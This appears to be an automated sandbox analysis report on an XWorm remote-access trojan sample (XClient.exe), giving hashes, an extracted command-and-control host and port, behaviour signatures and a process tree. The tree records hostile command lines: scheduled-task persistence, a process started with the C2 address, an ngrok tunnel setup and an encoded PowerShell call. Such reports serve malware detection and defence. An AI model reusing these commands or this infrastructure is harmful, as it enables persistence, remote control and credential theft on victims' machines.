Overview

overview

10

Static

static

10

XClient.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    932s
  • max time network
    930s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-07-2024 15:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    XClient.exe

  • Size

    81KB

  • MD5

    ba45e0438d7e48f1ae33705c71b070df

  • SHA1

    0d5ed53e0ad72cd60c98a3c180b47cc1982a2039

  • SHA256

    b103c76237e5917fe8d9b3dbcc62113626cc67ff3f75eab3ae49b7cb698f7629

  • SHA512

    1830f0d629181c3287e9c09fbdfd4afbbae098138cb1b368580417f16a8ad481b268686804d99e724243843f6bf8f0ac3e0b11ced129c7e0b70e82de16d9ae92

  • SSDEEP

    1536:dUXxbCZlUs9HKcLbeKeD/i6z1cYcta9muJDlbb15qrHi6TxI2MjOWwPLBq9m:2XxbCZlUs9HKQ7eD/xzpwa9nxb15qWD2

Score
10/10
xenarmorxwormcollectionevasionpasswordpersistenceransomwareratrecoveryspywarestealertrojanupx

Malware Config

Extracted

Family

xworm

Version

3.1

C2

girl-tries.gl.at.ply.gg:7131

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 2 IoCs
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
    evasion
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • XenArmor Suite

    XenArmor is as suite of password recovery tools for various application.

    recoverypasswordxenarmor
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 38 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • ACProtect 1.3x - 1.4x DLL software 5 IoCs

    Detects file using ACProtect software.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
    collection
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 18 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 64 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Suspicious use of SetThreadContext
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:5108
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c Cd %temp% && All-In-One.exe OutPut.json
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4560
      • C:\Users\Admin\AppData\Local\Temp\All-In-One.exe
        All-In-One.exe OutPut.json
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Accesses Microsoft Outlook accounts
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1304
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM explorer.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4584
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4004
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
      2⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffbd4e46f8,0x7fffbd4e4708,0x7fffbd4e4718
        3⤵
          PID:976
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
          3⤵
            PID:916
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1156
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
            3⤵
              PID:4192
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
              3⤵
                PID:3964
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
                3⤵
                  PID:1596
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5244 /prefetch:8
                  3⤵
                    PID:4508
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5244 /prefetch:8
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3572
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:1
                    3⤵
                      PID:2860
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4856 /prefetch:1
                      3⤵
                        PID:1756
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5684 /prefetch:1
                        3⤵
                          PID:3764
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5576 /prefetch:1
                          3⤵
                            PID:1524
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2664 /prefetch:1
                            3⤵
                              PID:216
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,16959322619420016835,9186597371654041395,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4884 /prefetch:2
                              3⤵
                                PID:5232
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" girl-tries.gl.at.ply.gg 7131 <123456789> 5C6E90B571CDB1116820
                              2⤵
                                PID:4276
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
                                  3⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5332
                                  • C:\Windows\SysWOW64\explorer.exe
                                    "C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
                                    4⤵
                                      PID:5588
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-3d-apis --disable-gpu --disable-d3d11 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data"
                                    3⤵
                                    • Enumerates system info in registry
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                    PID:5060
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7fffbd4e46f8,0x7fffbd4e4708,0x7fffbd4e4718
                                      4⤵
                                      • Checks processor information in registry
                                      • Enumerates system info in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4068
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2164 /prefetch:2
                                      4⤵
                                        PID:5576
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=2204 /prefetch:3
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5596
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=2884 /prefetch:8
                                        4⤵
                                          PID:5560
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
                                          4⤵
                                            PID:1108
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:1
                                            4⤵
                                              PID:4860
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4752 /prefetch:1
                                              4⤵
                                                PID:1752
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3852 /prefetch:1
                                                4⤵
                                                  PID:5932
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=3576 /prefetch:8
                                                  4⤵
                                                    PID:6064
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=3576 /prefetch:8
                                                    4⤵
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:6084
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2176 /prefetch:2
                                                    4⤵
                                                      PID:6132
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2080 /prefetch:2
                                                      4⤵
                                                        PID:4216
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2188 /prefetch:2
                                                        4⤵
                                                          PID:4612
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5084 /prefetch:2
                                                          4⤵
                                                            PID:5576
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,4567975693066908137,5141776473442912915,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2368 /prefetch:2
                                                            4⤵
                                                              PID:5532
                                                        • C:\Windows\System32\taskkill.exe
                                                          "C:\Windows\System32\taskkill.exe" /im ngrok.exe /f
                                                          2⤵
                                                          • Kills process with taskkill
                                                          PID:5484
                                                        • C:\Users\Admin\AppData\Local\Temp\ngrok.exe
                                                          C:\Users\Admin\AppData\Local\Temp\ngrok.exe config add-authtoken WDExclusion
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:2372
                                                        • C:\Windows\System32\schtasks.exe
                                                          "C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"
                                                          2⤵
                                                            PID:6036
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBF2A.tmp.bat""
                                                            2⤵
                                                              PID:4696
                                                              • C:\Windows\system32\timeout.exe
                                                                timeout 3
                                                                3⤵
                                                                • Delays execution with timeout.exe
                                                                PID:3536
                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3720
                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:4052
                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1780
                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2660
                                                          • C:\Windows\system32\AUDIODG.EXE
                                                            C:\Windows\system32\AUDIODG.EXE 0x2f4 0x498
                                                            1⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:4336
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:880
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
